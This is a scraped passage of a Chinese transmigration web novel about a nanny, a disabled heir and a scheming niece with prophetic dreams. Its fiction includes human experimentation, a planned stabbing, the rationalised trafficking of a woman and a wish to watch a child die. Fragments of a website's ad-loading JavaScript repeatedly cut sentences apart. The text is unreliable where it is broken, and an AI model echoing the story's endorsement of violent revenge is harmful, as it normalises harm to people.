安子皓本想怒吼人滚的,可是白晴的话,还有她的行为让他觉得有点意思,就放任白晴靠近。 而白晴真的很聪明,脑子转得飞快,进门后,按照所见情况直接调整计划。 她表现出一副善良纯真的模样,发现安子皓情况很糟糕,以为安家的人欺负安子皓残疾,没有好好照顾他,气的不行。 至于合不合理,被气哭了的她哪里有空思考,然后她像是听不懂安子皓的话,看不懂安子皓的意思,开始忍着恶心照顾起人来。 后来尽管知道是自己闹了个大乌龙,白晴却开始顺杆子爬,积极主动的抢着去照顾人。 老管家见小少爷对白晴的态度明显很不一样,十分乐意小少爷多与这个善良的小姑娘接触。 甚至安老爷子在国外找到有可能治好安子皓的方法,白晴也能陪同一起出国,一方面照顾人,一方面给人加油打气。 而这一趟出国,发生了一件大事,让白晴彻底走进安子皓的心中,也让安老爷子直接认下这个孙媳妇。 安老爷子找的医院里藏着一个充满罪恶的人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 体实验室,当然这个实验室肯定不会拿那些来看病的有钱人做实验。 不过事情往往就是那么的巧,有个孩子被医院偷偷抓去做人体实验最后凄惨死去的父亲,倾家荡产去寻找自己的孩子,最终查到这家医院来,窥探到了隐藏在医院里的黑暗。 可这是一个财阀当道的国家,这个父亲查到医院背靠强大后台,知道单靠自己一人想报仇简直是蚍蜉撼树。 对孩子的思念,想为孩子报仇的执念,这位父亲心中生出一个疯狂的想法。 他决定身上藏一把刀,进入医院后,直接捅死几个身份不简单的病人,而他如此疯狂的行为必然引起媒体关注,他就可以借此来将医院隐藏的罪恶揭露,利用舆论的压力让相关人员得到应有惩罚。 而这位父亲进入医院后,第一个选中目标就是坐在轮椅上的安子皓,谁让他行动不便,最容易得手,然后白晴就替安子皓挡了一刀。 回顾完剧情,白幺幺手托着下巴陷入沉思。 那个父亲凭借此等疯狂行为的确达到了目的,医院关了,人体实验室被捣毁,还拯救出许多人,只不过罪有应得人并没有受到惩罚,背后的人只 是推了个替死鬼出来。 安子皓出国一趟,还没开始治腿就发生这样的事,白晴的伤口处理好后休养个两天,一行人连同安老爷子直接回国了。 经此事,安老爷子还是有继续给孙子找治腿的方法,只不过,一朝被蛇咬十年怕井绳,就算找到了,也断不敢贸然让孙子飞过去接受治疗。 白幺幺此时算是拥有上帝视角,她知道这家医院的医疗水平是世界数一数二的没错,但是却充满了罪恶。 医院所做的人体实验,完全是为了更好的为世界各地的富豪们服务,不仅治疗他们的各种疾病,还提供延长寿命的服务,这是原剧情中医院被查后揭开的一切罪恶的最终目的。 如果医院的变故晚点发生,小少爷能按计划就医治疗的话,不知道结果会不会不一样。 第13章 残疾少爷的保姆(13) 剧情里,小少爷双腿始终没治好,终身残疾。 可是,白幺幺有种直觉,此次国外之行,可能是小少爷治好双腿,重新站起来的唯一机会。 所以那家医院暂时还不能出事,至少小少爷治腿期间不能出事,白幺幺想。 摆在白幺幺面前的难题就是要如何阻止那个父亲的疯狂复仇行为,可如果成功阻止了那个父亲,后面让医院关停,捣毁人体实验室,解救出二十几个实验体的剧情要如何掰回来。 白幺幺咬着唇,陷入苦恼中。 对于那个父亲的行为,她不予评价对错。 不过剧情中有段这个父亲准备行动前的心理活动:我是被逼的,我也不想这样,不死几个人根本无法引起重视。只是死几个人,挽救了更多的生命,这笔买卖无论怎么看都很划算,那些人也算死得其所。再者,有钱人,有几个是干净的,或许他还是做了件替天行道的善事了。 换成白幺幺是这位父亲,她可能会选择这样的方式,她们合欢宗向来信奉冤有头债有主。当然就算她没得选择,只能以此等方式复仇,那就是干,想那多干嘛。 有些事,并不是你觉得对,就是对的,也不是你觉得错,它就是错的,很多事是没有绝对的对与错。 凡是凭心去做,只要内心指引你要这么做,必须这么做,那就去做,做都做了,啥也别想,是非对错任他人评说。 说真的,别人的评论真不重要,反正她们合欢宗的人向来不在乎世人对她们的评论。 老管家动作很快,当晚小少爷就坐着自家的私人飞机飞往国外,随行的除了保镖,肯定少不了白幺幺同志。 此趟飞行长达十一个小时,要隔天早上七点飞机才抵达目的地。 “少爷,你在紧张?” 为了方便白幺幺照顾人,她被安排坐在安子皓隔壁。 小少爷连个眼神都没给白幺幺,原本是在看机窗外风景,听了白幺幺的问题后,直接闭上眼睛,拒绝交流的意思相当明显。 白幺幺:“……” 其实小少爷紧不紧张,白幺幺不知道,可她紧张呀! 测试世界是现代背景没错,可她花了大半年熟悉新的科技文明,后又为了完成任务,在那个世界待不到三年就英年早逝,根本还没将那个世界所有高科技产物体验一遍,其中就包括飞机。 没错,今儿是白幺幺同志第一次坐飞机。 尽管知道这个世界科技发达,飞机已经是极其普遍的交通工具,可白幺幺心里还是不踏实,有些害怕。 原主出生到现在也还没坐过飞机,不过从她记忆中扒拉出一些关于飞机的信息,是几起比较轰动的飞机失联或者坠机新闻。 白幺幺内心不免瑟瑟发抖,心底对飞机这种交通工具很没安全感。 不知不觉的,白幺幺额头上开始冒汗,她自己却没察觉到。 安子皓闭着眼一直在等待白幺幺接下去的动作,毕竟按照她的性格,没得到回复肯定还会做点什么的。 只是,他等了又等,旁边很安静。 安子皓睁开眼睛,继续看风景,同时不动声色的用眼角余光扫了旁边一眼,当即发现不对劲。 “你会晕机?”安子皓问,语气中带着连他自己都没察觉的关切,“会晕机要早说,飞机上配有急救药箱,里面有晕机药。” 白幺幺茫然的摇头,“……” 她现在有点头晕,反应了好久才明白小少爷的话,又再次摇头,“我也不知道。” 白幺幺真的不知道自己现在这样算不算晕机,身体不适让她不自觉显得有些气弱。 小少爷皱眉,“你之前没坐飞机?” 白幺幺坦然点头,“没有,今天第一次坐。” 要是让原主的面对这个问题,一定会因此产生自卑心理,感到窘迫,白幺幺就完全没有,一点没把坐没坐过飞机当成什么很重要的事。 得到肯定答案,小少爷神色未变,只是语气平静地说:“我要睡了,你吃了晕机药就赶紧睡,别吵到我。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “少爷,你在关心我?” 白幺幺眼睛直勾勾的盯着安子皓,同时抬手摸了把额头,果然上面布满细密的汗。 白幺幺的话像是根燃着的火柴,直接把小少爷这个炮仗点燃。 “谁关心你了,少在那边自作多情,本少爷要睡了。” 小少爷说话的语气难得拔高了几个度,说完还冷哼了一声,转头闭眼睡觉。 白幺幺才不跟口是心非的人计较,起身去找来晕机药吃下,本想只是闭眼休息会儿,也不知道是药效的作用还是其他,没一会儿人就睡沉了。 等身侧呼吸渐渐平稳,甚至仔细听还能听到细微的呼噜声,安子皓才转头睁眼看向白幺幺的侧颜。 短短几天,他在这张脸上看见过各种各样的表情,不过像现在这样,仿佛放下所有防备的恬静睡颜,他是第一次看到。 不可否认,长了一张很有资本的脸,而且这张脸好像还一天比一天更好看,更有吸引力了。 盯着人看了很久很久,安子皓放空大脑并没有想什么,什么时候睡着的,他也不知道。 等再次醒来时 ,已经隔天早上六点了。 看着表中显示时间,安子皓微愣了下,自从受伤后,他每晚都半夜惊醒,根本无法连续睡这么多小时。 转头看向旁边,白幺幺还没醒来,也不知是不是在做什么享受美食的梦,还时不时砸吧砸吧嘴。 或许是安子皓的目光太灼热,白幺幺迷迷瞪瞪睁了下眼,模模糊糊看到一个脑袋,闭眼,然后再睁眼。 见安子皓正看着自己,白幺幺打着哈欠问,“少爷,你醒啦,是有事要吩咐我做吗?” 一睁眼,打工人白幺幺就开工了,她觉得自己真是个敬业的打工人。 安子皓没有马上说话,两人相对无言了十几秒,他才视线下移落在白幺幺的嘴角处,“擦擦吧!” 白幺幺:“???” 安子皓勾唇提醒,“口水。” 白幺幺:“!!!” 第14章 残疾少爷的保姆(14) 她脸刷的一下红了,反驳道:“怎么可能,你绝对是看错了,我睡觉才不会流口水。” 小少爷就这么继续看着,似是在等着看到白幺幺把口水擦了。 白幺幺:“……” 难道她真的流口水了? 白幺幺军心开始不定,想了想,就算真的流口水了,那也是原主的锅,毕竟身体是原主的,反正她睡觉才不可能流口水。 想通后,白幺幺伸手随便在嘴上四周抹了一把。 干的! 什么也没有。 接着…… 偶像剧里女主被戏耍后,娇嗔瞪人的场景没有发生,白幺幺同志内心强大,才不和人一般计较。 不过小少爷心情很不错呀,一大早就和她开这样玩笑,是因为治腿有望了吗?白幺幺缓慢低头,莫明有些闷闷的,心中有了决定。 不管那家医院能不能治好小少爷的腿,在小少爷治腿期间都不能出任何问题。 安子皓:“……” 受伤前,他基本很少与异性接触,更别说去开一个异性的玩笑,尽管这个玩笑无伤大雅。 甚至,如果放在小情侣间,还有种像是在打情骂俏的味道。 他自己也不知道怎么的,话就脱口而出了,可能是一直盯着人看,突然被抓包,想掩饰心中的不自在吧。 可是现在看到白幺幺突然低头沉默不语,小少爷心中微微有些不舒服,同时禁不住反思起自己玩笑是不是开过了。 让小少爷道歉,是不可能道歉的。 嗯,没受伤前那个温润尔雅的小少爷会,现在的小少爷不会,至少暂时不可能。 不过,小少爷嗫嚅了下唇,清了清嗓子,状似随意道:“等下飞机降落的城市在世界上享有女人天堂的美称,到时我给你放半天假,你可以出去四处逛逛。” 正在思考对策的白幺幺:“……” 女人天堂? 她好奇心一下子被勾了起来,“为什么叫女人的天堂,少爷,你具体科普下呗。” “自己查。” 小少爷还是那个小少爷,怎么可能突然变得健谈起来。 “哦”了一声,白幺幺也没生气,起身去收拾自己,收拾完自己后,她开始围着小少爷转,看情况提供服务。 下了飞机,白幺幺并没有忘记女人天堂这事。 掏出手机,在网上查了下,怎么说,白幺幺心动了。 美食,绝美的风景,漂亮的高奢服饰,高端护肤品,有着各色极品小哥哥的店…… 白幺幺对查到的各色美食甜品心动了,至于其他的,她没啥兴趣,至少目前没兴趣,以后就不知道了。 网友推荐的好几款必须打卡美食,都有备注下价格,白幺幺稍微看了下,人瞬间蔫了。 她好穷。 不,应该说原主好穷,自己紧巴巴过活,挣的钱全拿去供养女主这个白眼狼外甥女了。 女主刚上大学,花销有点大,原主吃住都在安家,平时没花钱的地方,所以她把上月的工资全给女主了,以至于她现在全部资产就才几十块。 而原主以前没存点钱下来吗? 答案还真的是一分存款都没有。 女主这也想学,那也想学,什么书法、画画、钢琴、小提琴、古筝、芭蕾舞的,为了考上国内好大学,补习班是各种报,原主每个月的工资就是这么花没的。 当然女主很聪明,每次找各种借口从原主这边要钱,原主工资多少,她很清楚,反正就是不把钱要光不罢休。 从原主这边要去的钱,女主也真的大部分投资在自己身上了,毕竟她是个有野心抱负的,有剩余的则被她拿去存起来了。 原主这个挣钱的人口袋空空,女主那个吃白食高中毕业后就有好几万的小金库,或许该庆幸原主还给她留了几十块的资产,而不是负资产。 白幺幺同志不开心了。 安子皓一直有在偷偷留意她,观看了她表情变化的全过程。 看似很随便的问道:“怎么呢?” 白幺幺抬眸,有些无精打采的,“我好穷!” 她们合欢宗就算不是什么富宗,她从小到大也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 从来没为银钱烦恼过。 一文钱难倒英雄汉啊! 此时此刻,她深刻体会了这句话精髓。 安子皓:“……” “这个事实你不是一直都清楚。” 都穷了好几年,又不是突然变穷了,怎么突然这般感慨。 后面的话小少爷没说,他继续道:“允许你预支…半年的工资。” 想到这座城市的消费水平,小少爷将原本要说的一个月改成了半年。 有钱能去品尝自己看重的那几款美食了,可白幺幺心中仍是有些不得劲。 当然,白幺幺没有按照小少爷的意思,今天就去品尝美食,这种事等小少爷治腿的事结束后再说,不急于一时。 “好吧,谢谢少爷,不过暂时不用预支给我,等少爷的事情忙完,要回去前我再找少爷预支,而少爷今天批给我半天假也挪到那天。” 白幺幺的这个决定还是愉悦到了某位少爷,不过面上依旧平平淡淡的。 小少爷无所 谓道:“随你。” 考虑到十几小时的旅途劳顿,安子皓身体情况特殊,一行人抵达后并没有立即动身去医院,而是先去已经订好的酒店办理入住,好好休息下,第二天再去医院。 安老爷子没过来接机,更没有在酒店等着。 鸡蛋不能放在一个篮子这种浅显道理,老爷子哪里不懂。 不远万里来了,老爷子虽对自己找的医院抱着很大期待,但他也不可能完全把希望寄托在这家医院。 所以敲定好入院诊断时间,老爷子又开始去其他医院了解。 做着这家如果不行,立马换下一家继续治的准备,或者多方共同治也行,反正他们安家出得起这个钱。 异国他乡,明天又是“判定生死”的时刻,安子皓根本睡不着。 白幺幺同样也睡不着,她有点吃坏肚子了,大半夜起来上了好几次卫生间。 第一天就有如此糟糕的经历,白幺幺对后面的美食开始不是那么期待了。 她真的怕再把肚子吃坏。 第15章 残疾少爷的保姆(15) 翌日早上。 两人一见面,都发现对方状态不是很好,却都很默契没去探究对方没睡好的原因。 安家在这个国家有分公司,但在这座城市没有。 不过钞能力不是盖的,一切出行问题随行保镖兼助理都会安排好。 用完早餐,稍作休息,他们起身来到酒店门口,保镖已经开着车在那等着了。 安老爷子昨天没露面,不过今天是安子皓去医院就诊的重要时刻,他直接去医院等着了,约到在医院碰面。 安子皓他们一到医院,车子才停下,安老爷子已经等在车边了。 “小皓。” 心中纵有千言万语,可喊出这两个字后,安老爷子语塞了,心情复杂的俯身抱了抱孙子。 “爷爷。” 安子皓也回抱下爷爷,这段时间,他承受了很多,爷爷不也跟着承受很多。 白幺幺在旁边充当背景板的同时,眼睛滴溜溜四处看。 她记得这个世界有这么个说法,就是外国的月亮比较圆。 昨晚她特意看了,完全没感觉,结合这个说法的含义,她觉得有点无语。 当然,不管是原主,还是白幺幺都是第一次出国,没点好奇心是不可能的。 有安老爷子在,白幺幺的工作直接被抢了。 轮椅老爷子推着,虚寒微暖照顾小少爷的活老爷子抢着做,她倒是乐得清闲。 等等,那是? 电梯门快合上时,白幺幺捕捉到了一张熟悉的脸。 虽有些诧异,但她是不可能看错的,除非世上真有如此相像的人。 没错,白幺幺看到了白晴,不知道人怎么也跟着跑这里来了,真是冤魂不散呀! 剧情都歪成这样了,这人还能追来这里,反正白幺幺才不可能给人机会。 白晴并没有看到白幺幺他们,她今天就是过来验证一件事的。 或者更准确的说,她是来验证自己所做的梦。 那天带着一肚子火气从安宅离开,当晚她做了一个非常真实的梦。 第二天醒来,她久久无法从梦中走出来。 梦里小姨依旧是她熟悉的小姨,那天小姨不仅去机场接机,还带她住进了安宅。 住进去后,她使了点手段搭上了安子皓,然后陪着安子皓一起出国治腿。 而梦中安子皓就是来这家医院治腿的,然后出现一个持刀乱砍人的疯子。 富贵险中求,危急时刻她奋不顾身挡在安子皓前面,为救安子皓受了伤。 也因为这件事,她真正走进了安子皓的心,也得到那家那老不死的认可。 反正梦中的一切都很顺利,唯一一点比较不完美就是,安子皓在她心中的完美滤镜破碎。 她没那么迷恋和喜欢他了,甚至还有点厌恶。 不过安家的权势和财富她很喜欢,梦中的她做了正确的选择。 不需要费多大功夫,她很顺利嫁给安子皓,成为了安夫人,过上顶级豪奢的生活。 安子皓的双腿一直没治好,她开始有点厌烦这个残疾老公。 甚至出席一些名流宴会,她都能感觉好多人在看她笑话,笑话她嫁了个残疾老公。 她觉得自己的青春被安子皓这个废人耽误了,如果继续生活下去,被耽误的将是一辈子。 所以,梦中的她最终还是出轨了。 之后的梦有点不美好。 安子皓直觉敏锐,察觉到了什么,却没捅破。 最后拿到她的出轨证据,直接和她离婚并且让她净身出户了。 也是在离婚的时候,她才知道就算安子皓不出手,她最后的结果也不会很好,因为安家那个老不死的临死前都还防着她一手。 梦中,离婚后,她的生活一开始还好,不过越后面越糟糕。 人老了,活得穷困潦倒,做着扫大街的工作,租住脏乱差的老城区。 梦中的最后,唯一还算安慰的就是她活得比安子皓长。 听到电视新闻播报安氏总裁安子皓去世的新闻,梦中的她笑了,笑得无比畅快。 只是新闻又继续播报了安子皓因为无后,死后将名下全部财产无偿捐赠给国家。 梦中的她听到这,沧桑老太的脸当即 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 变得扭曲可怖。 这些本应该都是她的,都该是她的钱…… 白晴醒来后,心绪久久不能平静,梦中的那种恨意和不甘足足影响了她一早上。 白晴一直是个心大胆也大的女孩,一场如此真实的梦。 如果没有白幺幺突然的变故,梦或许不会只是梦。 她觉得梦中的自己前面都表现的不错,后期就有点拉垮。 钱还没完全掌握在自己手上,就敢出轨。 出轨就算了,还傻到让安子皓发现,并拿到证据。 想到梦中后期凄惨的生活,白晴眼神渐渐阴翳。 既然成为了枕边人,枕边人能做的事多了去。 她干嘛要去出轨,丧夫继承安家,成为最富有的寡妇不好吗? 到时不是想找什么样的男人就找什么样的,还是光明正大的找。 心中有了谋划,白晴当即花了一半存款买了机票飞往 国外,这也是她现在会出现在这里的原因。 在梦里,安子皓今天会来医院,不过她今天不是来堵人的。 她要先确认一件事,来确定梦中后续的真假。 梦中再过一小时,会有一大批车祸重伤的孩子被送来这家医院救治。 因为这家医院离事故地点最近,此次事故是多车连环撞。 其中一辆载满小学生的大巴车情况最严重,车上孩子当场死了六个。 其他的大部分也都是重伤,只有几个比较幸运是轻伤。 白晴在等待,等待这场车祸的发生,等待受伤的孩子们被送过来。 她当然不会单凭一场车祸就确认,梦中还有件事她记得十分清楚。 一个送过来瞧着只是磕破了点皮,情况不严重的孩子,其实车祸发生时后脑勺被磕到了,脑中出血,而且出血点比较特殊。 伤员太多了,医院人手有些不够,医生只是给这个孩子处理下伤口,就去治疗那些伤势看着比较重的。 现场场面有些混乱,在没人注意到的情况下,这个孩子尿急,他没有麻烦别人,自己离开去找卫生间,然后迷路了。 第16章 残疾少爷的保姆(16) 梦中她曾远远看见过这个小孩,站在那情况很不好。 口鼻出血,站在那不断拿手去擦,却怎么也擦不完。 当时她只以为小孩只是普通流鼻血,没当一回事,并没有去多管闲事,直接走开了。 后来这个孩子死了,梦中的她是有点后悔的。 如果人生能重来,问她会不会救下这个孩子,白晴的答案是否定。 梦中后期不如意的生活改变了这个时期白晴的心态,她甚至萌生一种变态的心理。 她想亲眼看着这个孩子生命终结,只有这种血淋淋的刺激画面才能让她深刻意识到梦的真实性。 梦是警示也是她的机遇,这辈子她一定不会落到像梦中那边的结局。 安子皓在里面做检查,有安老爷子陪着。 白幺幺一下子无用武之地,和保镖一样被安排在门外等着。 算上测试世界,她是第三次来医院。 白色的底调,空气中总是弥漫着消毒水的味道,她不是很喜欢这地方。 坐在外面的椅子上,白幺幺有些无聊。 上个世界她刚接触手机时,各种研究各种玩,玩到虽没见到手机要吐的程度,但的的确确对手机失去兴趣了。 所以,当代人一无聊就拿出手机解闷的习惯,白幺幺没有,她反而喜欢发呆想事情。 脑中想的东西就是东一榔头西一棒子,一会儿是她来自的那个世界,一会儿是测试世界,一会儿又是这方世界,没规律的切换。 思绪不知怎么转到这个世界的女主身上,有时真的很佩服这个女主。 都这样了还能追着跑来国外,并精准的找到这家医院来,也不知道她从哪里得到的消息。 不过,女主追过来应该是想走那段奋不顾身替小少爷挡刀的剧情。 可那是后天才发生的剧情,女主今天就跑来医院,难道是来彩排的? 思及此,白幺幺都不得不佩服女主的敬业了。 想到了女主,白幺幺顺势整理起这个世界的剧情。 她之前只是看了个大概,反正剧情在脑中,需要用到哪段再扒拉出来看看就是了。 忽的一段剧情快速在白幺幺脑中闪过,被她精准捕捉到了,然后她的脸色变了。 重大交通事故,当场死了十几人,其中孩子占大头,伤者被就近送到这家医院来。 剧情中有这样一个画面,女主与事故中送来的一名小男孩有过一面之缘。 当时小男孩情况很糟糕,女主以为只是小孩子不小心磕到流鼻血,而又是在医院。 她便没当一回事,后来听说了这场交通事故,还有关于这名小男孩的事,女主十分懊恼自责,哭了很久。 白幺幺不禁怀疑起女主现在跑来这家医院的目的,难道女主是提前过来给自己加戏,借此加深自己的善良人设。 可不对呀,女主又不知道剧情。 想了想,白幺幺还是决定去看看女主想整什么幺蛾子,还有那个孩子…… 白幺幺不是圣母,如果是,她知道的这个世界剧情虽然是围绕男女主的,但是里面能让她释放圣母光辉的剧情太多了,比如即将发生的这场交通事故。 白幺幺不是恶人,也不是什么善人,更不是什么圣母。 她不会主动去害人,但也不会见人有难就救。 凡事她会看情况行事,她不喜欢给自己套枷锁,束缚自己的心和行为。 那场车祸白幺幺阻止不了,不过那个孩子,先去看看女主想做什么吧。 和保安交代了句,白幺幺才离开。 死亡白幺幺见过太多了,尽管师傅没说。 可白幺幺还是从师姐们那偷听到,原来自己是师傅从有着成百上千具尸体的乱葬岗带回来的。 因此,不管是师傅还是师姐,还是后来老宗主都十分心疼她,对她很好。 老宗主瘫痪在床的那几年,她对每一个人都发过脾气,唯独没有对她发脾气过。 远远见到女主,白幺幺没有过去,然后找了个能观察到女主动向,又不容易被对方看到位置站着。 白晴焦急的等待 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,一会儿抬头看向大门处,一会儿又低头看时间。 做过那样一场梦,尽管结局不好,可她也是真的成功过。 那种像是自己亲身经历过的富贵生活,她这回一定会抓着,过上一辈子。 就像她梦中那样,医院在九点四十二分的时候接到电话,十五分钟后大量伤员被送来医院。 白晴第一眼就认出那个孩子,因为他是里面瞧着受伤最轻的。 其他人都是躺着进来的,他是自己走进来的。 白幺幺在不远处观察着,越看越觉得女主好像有些不一样了,具体的她也说不清楚。 她原本以为是剧情君的力量,在试图用一双无形的手矫正剧情,临时给女主安排不得不出国来这家医院的理由。 然后很巧合的再次遇见那个孩子,不过这回女主救下了那个孩子 只是现在怎么看,女主都好像是提前知道会发生什么,在那守株待兔。 白幺幺皱眉,心中生出了某种猜测。 女主重生了?! 重生在这个世界是热词,很多小说电视剧包含这个元素,深受读者观众喜爱。 如果真的是,白幺幺也不在意,对她产生不了多大影响,反正兵来将挡水来土掩就是了。 见白晴选了个位置,直勾勾的看着那个孩子一步一步走近,右边鼻孔里开始流出一点点血,她就是看着,没有任何动作。 白幺幺皱眉,骂了句神经病,人犹如一道疾风跑过去抱起那孩子百米冲刺起来。 孩子被医生接手过去,白幺幺还不忘用手机翻译软件打出一段话来提醒医生,“检查下他的脑袋,可能有脑出血情况。” 白幺幺才收起手机,察觉到什么,身体往旁边躲闪了下。 回头对上女主阴狠的目光,“神经病”三个字脱口而出,刚骂了对方没听到,现在补上。 刚刚白晴是想抓白幺幺的手,不过被躲开了,她平静问道:“我亲爱的小姨,你是不是也是……” 顾及到场合不对,白晴给了个你懂我懂的眼神。 第17章 残疾少爷的保姆(17) 白幺幺:“……” 几次接触下来,怎么感觉这女主像有大病的。 世界剧情是围绕男女主相识相知相爱展开的,以两人幸福的步入婚姻殿堂为结尾。 就算女主重生,发现男人被抢了,也不该是这种像真有神经病的表情神态。 再说了,女主对原主做了什么,她自己不清楚吗? 如果原主真的重生了,想抢女主的所有东西,不也很正常的吗? 甚至一刀把人解决的也不过分,还有点便宜人了。 算了,不想了,费脑,女主什么样都不关她的事。 绕过人,白幺幺准备撤了。 不然小少爷要是突然找她 却找不到人,会不开心的。 反正她是看穿小少爷那爱口是心非的黏人精本质了。 正被好几个人围着检查的安爱口是心非黏人精子浩突然连续打了三个喷嚏。 周围的医生还没说什么,旁边一直盯着孙子看的安老爷子一下子就紧张了。 “是不是着凉了,干脆让医生也一并检查下,还有你穿得还是单薄了些,我现在就让人送件外套进来。” 安子皓:“……” 知道爷爷有多在乎他,可这般将他当作瓷娃娃来对待,他心中暖暖的同时,也有些无奈。 “爷爷,不用的,我的身体自己知道,没有着凉,真的。” 是不是因为感冒而打的喷嚏,安子皓自己还是知道的。 脑中自己突然冒出以前听过的一个说法,关于打喷嚏的,一想二骂三念叨。 他刚刚打了三个喷嚏,所以是有人在念叨他吗? 以前的安子皓一直是不信这些的,这个说法他也是听听就过,没放心上。 他觉得这种没有科学依据支撑的说法,很神奇竟然有人会信,甚至觉得信的人有点幼稚。 可是现在,他似乎忘记了自己以前对这种说法的嗤之以鼻,大脑不受控的想念叨他的人会是谁? 留守国内没有跟着过来的老管家? 应该不是,老管家性子成熟稳重,工作能力强。 他如果想要关心自己的情况,可以直接打电话过来问爷爷。 而且两边有时差,现在国内才早上三点多,老管家还在睡觉了。 不用多加去想,最可能的“罪魁祸首”的脸一下子占据了他的大脑。 想到那女人可能在外面等得坐立不安的模样,安子皓唇角微不可察的翘了翘。 小少爷是不可能与人解释的,检查结果可以是天堂,也可以是地狱,充满不确定性。 如果不是知道爷爷无论如何一定要跟进来,他其实更想一个人来消化这个结果。 而被小少爷以为等得坐立不安的白幺幺同志,此时还被女主缠着没办法脱身了。 “找个安静的地方聊聊。” 白晴拦在白幺幺面前,脸上虽堆着笑意,却笑不达眼底。 甚至眼底还有着自以为隐藏很好的复杂情绪,有妒忌,有蔑视,有怨恨…… 白幺幺双手抱臂,淡淡的递过去一个我凭什么和你聊的眼神。 白幺幺觉得这个女主太把自己当一回事了,她大概开始明白自己工作的意义了。 每个人来这个世界走一遭,不需要轰轰烈烈,跌宕起伏。 没成为人生赢家没事,平凡人有他的平凡人生。 绿叶配红花,那不过是红花的自我感觉良好以及一厢情愿,还有世人自以为是罢了。 红花是红花,绿叶是绿叶,没有谁比谁高贵,都在努力向阳谱写生命之章。 白晴压低声音道:“你知道的,我们等下谈话的内容有点特殊,你应该也知道让别人听到不好。” “这里虽然是外国,不过我们不能抱着侥幸心理,以为没人听得懂我们在说什么。” 想了想,白晴抛出了点筹码来,“客观的来说,我知道的有用信息比你多,毕竟……” 后面的话她点到为止,就算是同样做了预知未来的梦,可这梦的内容与质量,不同的人肯定不一样。 最关键的是,她比白幺幺命长太多,说白幺幺是短命鬼都不为过,才活到二十三岁。 白幺幺不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 知道眼前人是太自信了,还是太蠢了,应该是又蠢又毒吧! 从小到大暗暗各种欺负原主,白家发生变故后,开始心安理得的吸原主的血,并且利用原主为跳板,搭上安家。 利用完原主达成目的后,原主就该消失了。 毕竟有个小姨在安家做保姆,而她还是由这个保姆供养的,会让她被人耻笑,她怎么可能允许。 还有人心都是贪了,金钱的味道比蜂蜜还甜,她不喜欢被人惦记着,时不时凑上来想占点便宜。 所以原主就被卖到一处穷乡僻壤给四十几岁的瘸腿老光棍当媳妇,受尽各种折磨没两年就死了。 想到原主死时身上没处好皮,瘦的跟皮包骨似,眼眶空洞洞的模样,白幺幺心中戾气顿生,眼神冷得能掉冰渣子。 “小……小姨,我想你是误会了什么,咱们找个安静的地方,我和解释。” 白晴被吓到了,以为是自己的话勾起对方那些不好的梦境。 梦里,她也只是想彻底解决麻烦,把人整远点。 白幺幺不是期待嫁人,渴望有个属于自己的家,她自己日记里写的,白晴觉得自己本意就是满足她心中的渴望。 至于为什么找个年纪大的?白幺幺不是缺爱吗?年纪大的会疼人! 至于为什么找个瘸腿的,而不是身体健康的? 她不是想着对方有缺陷,好不容易娶到如此好看的老婆,应该会更加珍惜和疼人。 反正白晴没觉得梦中的她做错了,她出发点是出于私心没错。 毕竟人不为己天诛地灭,可是她也已经尽可能为白幺幺考虑周全了。 只是谁能想,知人知面不知心。 她又不是神仙,怎么会知道那个买走白幺幺的人是个坏脾气还会动手动脚的人。 而且白幺幺只要不整天想着逃跑,各种闹腾,能够温柔小意,多多体贴人点。 男人么,很容易哄的,她也不至于早死。 反正,再来一次,她还是会这么做。 先为自己考虑有什么错,只是这回她会给白幺幺换个买主。 第18章 残疾少爷的保姆(18) 既然没办法确定男人会不会动手,干脆给白幺幺找个年纪再大点的。 六十岁左右就不错,如今不就流行这个老少配。 最好身体再差点的,这样他就算想动手也心有余而力不足。 只不过这样的话,白幺幺不就容易年纪轻轻就守寡,那怎么可以,嗯,肯定不行的! “你在想什么?” 白幺幺简直快无语了,那不加掩饰的表情,不用猜,都知道肯定是在想什么坏主意。 “没,没想什么。” 白晴摇头,也是这时她才反应过来,现在的白幺幺通过预知梦,对她肯定有了防备,想再像梦中那样把人卖掉基本是不可能了。 算了,真是烦死这个跟狗皮膏药似的女主了,“走吧,我们去那边坐着聊聊。” 白幺幺直接往前走去,白晴反应过来后,忙跟上去。 既然是对方想聊的,白幺幺坐下后看着对方,用眼神催促对方想聊什么快说。 走过来的路上,短短不到一分钟的时间,白晴快速运转大脑,想了很多。 “我们合作吧!” 这是白晴开口的第一句话,也是她结合目前现状,给出的对她最有利的提议。 “啥?!” 白幺幺以为自己听错了,她不明白自己什么时候给了女主她俩能合作的错觉,还有她们有什么可合作的。 白晴神色僵了一瞬,又重新说了一遍,“我们合作吧!” 白幺幺没有马上回绝,而是顺势问道:“要怎么合作,和你合作我能得到什么?” 沉默了几个呼吸,白晴一脸真诚的说:“小姨,只要你协助我嫁给子皓,到时我可以给你很多很多的钱,并且还能介绍一些豪门才俊给你,让你也跟着轻轻松松跨越阶级,同时也会助你在豪门贵族里站稳脚跟,毕竟咱们是血缘至亲,我好了,肯定希望你也好。” 白幺幺似笑非笑的勾唇,“是这样吗?” “当然。”白晴急切的说,语气十分坚定。 她继续说道:“小姨,我知道你也和我一样做了能预知未来的梦,梦里的内容可能不是那么美好,可是你一定要相信我。” “梦里,你的遭遇跟我一点关系都没有,要怨恨只能怨恨那些丧尽天良的人贩子。” “我在小姨你失联后,一开始只是以为你觉得我不需要你了,不声不响的离开,想要告别过去,去过你自己想要的生活了,我想着这是你想要的,我便没去打扰你。” 白晴言辞恳切,说着说着眼眶慢慢红了。 “后来,我嫁给子皓后,有次想小姨想得哭了,被子皓看到,他心疼我,想帮我找你,然后……我才知道你不是……而是……” “啪啪啪” 白幺幺忍不住鼓起掌来,她觉得女主不是傻子的话,就是把她当傻子了。 还有原来不是重生呀,而只是做了个预知梦,难怪就只是这样的城府。 